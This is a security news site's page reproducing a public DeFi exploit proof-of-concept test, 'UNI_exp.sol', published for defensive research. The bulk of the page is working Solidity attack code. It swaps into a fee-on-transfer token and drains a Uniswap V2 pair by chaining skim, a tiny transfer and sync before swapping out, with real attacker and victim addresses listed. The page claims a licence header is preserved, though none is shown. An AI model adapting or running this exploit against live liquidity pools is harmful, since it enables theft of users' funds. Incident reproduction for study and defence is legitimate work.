Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/UNI_exp.sol

Public reproduction file for dataset entry UNI.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/UNI_exp.sol111 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 14K USD
7// Attacker : https://etherscan.io/address/0x97d8170e04771826a31c4c9b81e9f9191a1c8613
8// Attack Contract : https://etherscan.io/address/0x2901c8b8e6d9f2c9f848987ded74b776ab1f973e
9// Vulnerable Contract : https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x6c8aed8d0eab29416cd335038cd5ee68c5e27bfb001c9eac7fc14c7075ed4420?line=0
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1
15// @Analysis
16// Post-mortem : https://x.com/CertiKAlert/status/1897973904653607330
17// Twitter Guy : https://x.com/CertiKAlert/status/1897973904653607330
18// Hacking God : N/A
20address constant SamPrisonman = 0xdDF309b8161aca09eA6bBF30Dd7cbD6c474FF700;
21address constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
22address constant UniswapV2Pair = 0x76EA342BC038d665e8a116392c82552D2605edA1;
23address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
24address constant addr2 = 0xaCa4263fFddA9E60C7260AAbA08c2b8F80D63cB1;
25address constant attacker = 0x97d8170e04771826A31C4c9B81E9f9191a1C8613;
27contract ContractTest is Test {
28 function setUp() public {
29 vm.createSelectFork("mainnet", 21992033);
30 deal(attacker, 4e-15 ether);
31 }
33 function testPoC() public {
34 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
35 vm.startPrank(attacker, attacker);
36 AttackerC attC = new AttackerC{value: 4e-15 ether}();
37 // deal(address(attC), 4e-15 ether);
38 vm.stopPrank();
39 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
40 }
43contract AttackerC {
44 constructor() payable {
45 (bool s1, ) = addr2.call(abi.encodeWithSelector(bytes4(0x4f49cd31)));
46 s1;
48 address[] memory path = new address[](2);
49 path[0] = addr1;
50 path[1] = SamPrisonman;
51 (bool s2, ) = UniswapV2Router02.call{value: address(this).balance}(
52 abi.encodeWithSelector(
53 IUniswapV2Router02.swapExactETHForTokensSupportingFeeOnTransferTokens.selector,
54 0,
55 path,
56 address(this),
57 block.timestamp
58 )
59 );
60 s2;
62 (bool s3, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.skim.selector, UniswapV2Pair));
63 s3;
65 (bool s4, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.transfer.selector, UniswapV2Pair, uint256(1)));
66 s4;
68 (bool s5, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.sync.selector));
69 s5;
71 uint256 bal = 0;
72 (bool s6, bytes memory r6) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.balanceOf.selector, address(this)));
73 if (s6 && r6.length >= 32) {
74 bal = abi.decode(r6, (uint256));
75 }
77 (bool s7, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.approve.selector, UniswapV2Router02, type(uint256).max));
78 s7;
80 address[] memory path2 = new address[](2);
81 path2[0] = SamPrisonman;
82 path2[1] = addr1;
83 (bool s8, ) = UniswapV2Router02.call(
84 abi.encodeWithSelector(
85 IUniswapV2Router02.swapExactTokensForETHSupportingFeeOnTransferTokens.selector,
86 bal,
87 0,
88 path2,
89 tx.origin,
90 block.timestamp
91 )
92 );
93 s8;
94 }
96 receive() external payable {}
99interface ISamPrisonman {
100 function approve(address, uint256) external returns (bool);
101 function balanceOf(address) external returns (uint256);
102 function transfer(address, uint256) external returns (bool);
104interface IUniswapV2Router02 {
105 function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;
106 function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256, address[] calldata, address, uint256) external payable;
108interface IUniswapV2PairLike {
109 function skim(address to) external;
110 function sync() external;

Analysis

Dataset entry

Public Foundry test for “UNI” (2025-03-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x97d8170e04771826a31c4c9b81e9f9191a1c8613

  • Attack Contract

    0x2901c8b8e6d9f2c9f848987ded74b776ab1f973e

  • Vulnerable Contract

    0x76ea342bc038d665e8a116392c82552d2605eda1

  • Attack Tx

    0x6c8aed8d0eab29416cd335038cd5ee68c5e27bfb001c9eac7fc14c7075ed4420

File record

Name
UNI
Path
src/test/2025-03/UNI_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2d9917a8734ea38965ebb3155f64174c1145f0af
Language
Solidity
Size
111 lines
Date
2025-03-07
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/UNI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2d9917a8734ea38965ebb3155f64174c1145f0af, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.